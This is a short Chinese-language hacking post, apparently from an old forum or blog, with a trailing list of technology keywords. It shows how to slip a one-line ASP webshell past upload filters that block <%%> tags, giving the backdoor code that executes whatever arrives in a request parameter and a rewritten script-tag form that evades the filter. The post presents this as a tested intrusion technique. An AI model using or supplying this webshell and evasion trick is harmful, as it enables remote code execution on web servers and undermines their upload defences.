郁闷中啊,无聊的逛着,还为那个同时使用双标签的问题而努力找解决方案,突然想到了一个东西,
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传,
这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!
我们拿蓝屏最小的asp木马来看下:
<%execute request("l")%>
我们来把他的标签换下来:
<script language=vbscript runat=server>execute request("l")</script>
呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!
偶在xpsp2下测试成功!
从勇敢的风那里得来得灵感!^_^在此再次感谢!
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器